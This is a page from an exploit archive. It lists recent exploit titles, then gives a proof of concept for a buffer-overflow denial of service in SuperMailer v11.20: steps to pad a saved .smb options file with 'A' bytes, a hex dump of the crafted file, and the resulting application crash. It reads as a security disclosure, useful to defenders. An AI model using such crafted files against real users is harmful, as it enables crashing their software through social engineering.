6bc7a6f9b0
25 changes to exploits/shellcodes/ghdb ReQlogic v11.3 - Reflected Cross-Site Scripting (XSS) Tapo C310 RTSP server v1.3.0 - Unauthorised Video Stream Access ZKTeco ZEM/ZMM 8.88 - Missing Authentication Hashicorp Consul v1.0 - Remote Command Execution (RCE) X-Skipper-Proxy v0.13.237 - Server Side Request Forgery (SSRF) OPSWAT Metadefender Core - Privilege Escalation Pega Platform 8.1.0 - Remote Code Execution (RCE) Beauty-salon v1.0 - Remote Code Execution (RCE) BoxBilling<=4.22.1.5 - Remote Code Execution (RCE) iBooking v1.0.8 - Arbitrary File Upload Jetpack 11.4 - Cross Site Scripting (XSS) Moodle LMS 4.0 - Cross-Site Scripting (XSS) Online shopping system advanced 1.0 - Multiple Vulnerabilities rukovoditel 3.2.1 - Cross-Site Scripting (XSS) Senayan Library Management System v9.5.0 - SQL Injection Social-Share-Buttons v2.2.3 - SQL Injection Subrion CMS 4.2.1 - Stored Cross-Site Scripting (XSS) YouPHPTube<= 7.8 - Multiple Vulnerabilities Label Studio 1.5.0 - Authenticated Server Side Request Forgery (SSRF) SuperMailer v11.20 - Buffer overflow DoS Tunnel Interface Driver - Denial of Service VMware Workstation 15 Pro - Denial of Service HDD Health 4.2.0.112 - 'HDDHealth' Unquoted Service Path SugarSync 4.1.3 - 'SugarSync Service' Unquoted Service Path
62 lines
No EOL
3.2 KiB
Text
62 lines
No EOL
3.2 KiB
Text
# Exploit Title: SuperMailer v11.20 - Buffer overflow DoS
|
|
# Exploit Author: Rafael Pedrero
|
|
# Discovery Date: 2021-02-07
|
|
# Vendor Homepage:
|
|
https://int.supermailer.de/download_newsletter_software.htm
|
|
# Software Link : https://int.supermailer.de/smintsw.zip /
|
|
https://int.supermailer.de/smintsw_x64.zip
|
|
# Tested Version: v11.20 32bit/64bit [11.20.0.2204]
|
|
# Tested on: Windows 7, 10
|
|
|
|
CVSS v3: 3.3
|
|
CVSS vector: CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:L
|
|
CWE: CWE-20
|
|
|
|
Vulnerability description: A vulnerability in Newsletter Software
|
|
SuperMailer v11.20 32bit/64bit [11.20.0.2204] could allow an attacker to
|
|
cause a process crash resulting in a Denial of service (DoS) condition for
|
|
the application on an affected system. The vulnerability exists due to
|
|
insufficient validation of certain elements with a configuration file
|
|
malformed. An attacker could exploit this vulnerability by sending a user a
|
|
malicious SMB (configuration file) file through a link or email attachment
|
|
and persuading the user to open the file with the affected software on the
|
|
local system. A successful exploit could allow the attacker to cause the
|
|
application to crash when trying to load the malicious file.
|
|
|
|
Proof of concept:
|
|
|
|
1.- Go to File -> Save program options...
|
|
2.- Save the file (default extension *.smb)
|
|
3.- Edit file and you introduce a lot of A in somewhere. Example: DoS.smb
|
|
file
|
|
|
|
Offset(h) 00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F
|
|
|
|
00000000 10 03 00 00 00 00 00 00 A9 E5 7E 41 41 41 41 41 ........©å~AAAAA
|
|
00000010 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
|
|
00000020 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
|
|
00000030 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
|
|
00000040 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
|
|
00000050 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
|
|
00000060 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
|
|
00000070 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
|
|
00000080 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
|
|
00000090 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
|
|
000000A0 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
|
|
000000B0 41 41 97 99 E5 40 00 00 00 00 00 00 00 00 00 00 AA—™å@..........
|
|
000000C0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
|
|
000000D0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
|
|
000000E0 00 00 00 00 00 00 6B 00 00 00 53 00 6F 00 66 00 ......k...S.o.f.
|
|
000000F0 74 00 77 00 61 00 72 00 65 00 5C 00 4D 00 69 00 t.w.a.r.e.\.M.i.
|
|
00000100 72 00 6B 00 6F 00 20 00 42 00 6F 00 65 00 65 00 r.k.o. .B.o.e.e.
|
|
00000110 72 00 20 00 53 00 6F 00 66 00 74 00 77 00 61 00 r. .S.o.f.t.w.a.
|
|
00000120 72 00 65 00 5C 00 53 00 75 00 70 00 65 00 72 00 r.e.\.S.u.p.e.r.
|
|
00000130 4D 00 61 00 69 00 6C 00 65 00 72 00 5C 00 54 00 M.a.i.l.e.r.\.T.
|
|
00000140 65 00 73 00 74 00 20 00 45 00 4D 00 61 00 69 00 e.s.t. .E.M.a.i.
|
|
00000150 6C 00 20 00 41 00 64 00 64 00 72 00 65 00 73 00 l. .A.d.d.r.e.s.
|
|
00000160 73 00 65 00 73 00 00 00 00 00 00 00 00 00 00 00 s.e.s...........
|
|
|
|
And save the file.
|
|
|
|
4.- Go to File -> Restore program options...
|
|
5.- The application "sm.exe" crash. |